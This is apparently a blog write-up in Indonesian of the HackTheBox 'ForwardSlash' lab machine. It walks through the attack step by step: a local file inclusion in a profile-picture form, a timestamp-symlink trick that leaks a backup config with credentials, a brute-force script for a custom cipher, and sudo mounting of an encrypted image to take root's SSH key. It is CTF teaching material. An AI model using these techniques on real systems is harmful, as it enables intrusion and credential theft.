Bismillah..
Sebagai informasi mesin ini bernama Forward Slash dengan OS linux dengan total 40 points (hard). Adapun seperti biasanya, tantangan dari HackThebox adalah mengambil alih akses penuh mesin (privilege escalation) untuk mendapatkan user.txt dan root.txt
Box yang relatif tidak terlalu susah (mungkin karna saya beruntung wkwkwk). Perjalanan Forwardslash dimulai dengan mencari file. Lalu menambahkan subdomain, dan kemudian bypass lfi pada bagian client-side dan filter. Mendapat file yang memiliki kredensial untuk pengguna. File tersebut dimiliki oleh pengguna. Login ssh ke mesin dan enum menggunakan lse, melakukan timestamp dan pada file config.php.bak dengan timestamp itu kami mendapat user credential. Mendapatkan key setelah menganalisis python script. User dapat me-mount gambar dengan hak istimewa root dan karenanya kami mendapat password ssh pribadi dari root pengguna. Recon
nmap -sCV -oN nmap/serv <ip>
Disini kita hanya akan mendapatkan 2 service saja yaitu ssh dan http (simple, dan ini yang saya suka XD) Langsung saja kita cek pada bagian http
Hanya sebuah tampilan web korban deface, karna tidak mendapat apa apa maka langsung enum pada bagian directory
Kita mendapat sebuah catatan note.txt yang isinya:
Pain, we were hacked by some skids that call themselves the “Backslash Gang”… I know… That name… Anyway I am just leaving this note here to say that we still have that backup site so we should be fine. -chiv
Disitu tertulis bahwa mereka masih memiliki backup pada backup site ( walaupun baru sadar setelah melakukan fuzz vhost ) maka langsung saja kita tambahkan subdomain pada /etc/hosts backup.forwardslash.htb Setelah membuka subdomain tersebut.. kita akan langsung disuguhkan dengan halaman login..
setelah mencoba kredensial kramat (admin:admin, dst) tidak bisa, maka saya putuskan untuk enum pada bagian directory lagi
gobuster dir -u http://backup.forwardslash.htb/ -w /usr/share/dirb/wordlists/common.txt -t 50 -x php,html,txt -o gobuster/backup
Disitu terlihat ada register page maka langsung menuju bagian situ, sebenarnya saya mencoba berkeliling ke beberapa page semisal dev,api, dsb. (access denied), jadi langsung saja register lalu login dengan akun yang sama.
kita akan mendapatkan page yang menarik disini yaitu pada bagian change profile picture
Disini kita lihat form-nya di-disable kita bisa inspect element, sebenarnya sudah sangat jelas kalau ini memiliki kerentanan LFI. Selanjutnya kita akan menggunakan burp suite untuk mengeksekusinya
Ternyata benar LFI :D. Karna disini kita tidak bisa melakukan RCE melalui LFI maka saya berasumsi untuk mengecek pada page2 yang sudah kita dapatkan tadi (dev, api, dsb)
disitu tertulis permission denied.. masih sama seperti awalnya.. maka saya membuka PayloadAllTheThings
setelah di decode dengan base64
kita mendapatkan credential untuk login ssh Sebenarnya pada bagian user ini saya mendapatkan keberuntungan.. yaitu saya mendapatkan script yang tergeletak pada bagian home directory wkwkwkkw… setelah di eksekusi maka langsung muncul apa yang kita harapkan, yaitu user yang terdapat user.txt file-nya (mungkin ini yang bikin box ini gak jadi masalah buat saya) tapi disini saya akan menjelaskan caranya
kita akan menggunakan LSE untuk enum
terdapat file yang menarik yaitu backup.. kita coba jalankan
chiv@forwardslash:/var/www/backup.forwardslash.htb$ backup
----------------------------------------------------------------------
Pains Next-Gen Time Based Backup Viewer
v0.1
NOTE: not reading the right file yet,
only works if backup is taken in same second
----------------------------------------------------------------------
Current Time: 11:56:51
ERROR: d99c2c7f8fe2c01787f88e9974e4f1fa Does Not Exist or Is Not Accessible By Me, Exiting...
Setiap kali kita menjalankan script ini, kita mendapatkan MD5Sum baru dan jika kita crack md5 pada bagian error-nya maka hanya akan menampilkan waktu.. Jadi pemikirannya di sini adalah bahwa jika kita memberinya file backup ini dengan MD5 yang sesuai, kita dapat ‘mendekripsi’ backup tersebut. kita perlu mendapatkan MD5 saat ini dan menautkannya ke file target
t="$(date +%H:%M:%S | tr -d '\n' | md5sum | tr -d ' -')"
ln -s /var/backups/config.php.bak /home/chiv/$t
backup
Rincian singkat: Baris pertama adalah memberikan tanggal / waktu saat ini dan Jumlah MD5. Selanjutnya kita menautkan target config.php.bak ke variabel waktu itu. Lalu kami memanggil backup tool. setelah dijalankan maka kita akan mendapat password dari pain
sekarang kita bisa login ke user pain
sudo -l
Matching Defaults entries for pain on forwardslash:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pain may run the following commands on forwardslash:
(root) NOPASSWD: /sbin/cryptsetup luksOpen *
(root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/
(root) NOPASSWD: /bin/umount ./mnt/
lalu saya coba membuka recovery image.. tapi ternyata membutuhkan password untuk membukanya
terdapat file pada home encrypted.py
def encrypt(key, msg):
key = list(key)
msg = list(msg)
for char_key in key:
for i in range(len(msg)):
if i == 0:
tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1])
else:
tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1])
while tmp > 255:
tmp -= 256
msg[i] = chr(tmp)
return ''.join(msg)
def decrypt(key, msg):
key = list(key)
msg = list(msg)
for char_key in reversed(key):
for i in reversed(range(len(msg))):
if i == 0:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
else:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
tmp += 256
while tmp < 0:
msg[i] = chr(tmp)
return ''.join(msg)
print encrypt('REDACTED', 'REDACTED')
print decrypt('REDACTED', encrypt('REDACTED', 'REDACTED'))
dengan melakukan sedikit scripting untuk bruteforce
def decrypt(key, msg):
key = list(key)
msg = list(msg)
for char_key in reversed(key):
for i in reversed(range(len(msg))):
if i == 0:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
else:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
while tmp < 0:
tmp += 256
msg[i] = chr(tmp)
return ''.join(msg)
with open ('./ciphertext', 'r') as f:
a = f.read()
for i in range(1, 165):
for j in range(33, 127):
key = chr(j) * i
msg = decrypt(key, a)
if 'the' in msg:
print(msg)
exit()
maaf kalo scriptnya agak berantakan wkwkwkw
kita akan mendapatkan passwordnya: cB!6%sdH8Lj^@Y*$C2cf
langsung saja kita buka file image nya, lalu mount ke mnt
sudo /sbin/cryptsetup luksOpen /var/backups/recovery/encrypted_backup.img backup
sudo /bin/mount /dev/mapper/backup ./mnt/
dan ternyata kita pun mendapatkan ssh private key dari si root ini. kita hanya tinggal login melalui ssh dan mengambil root.txt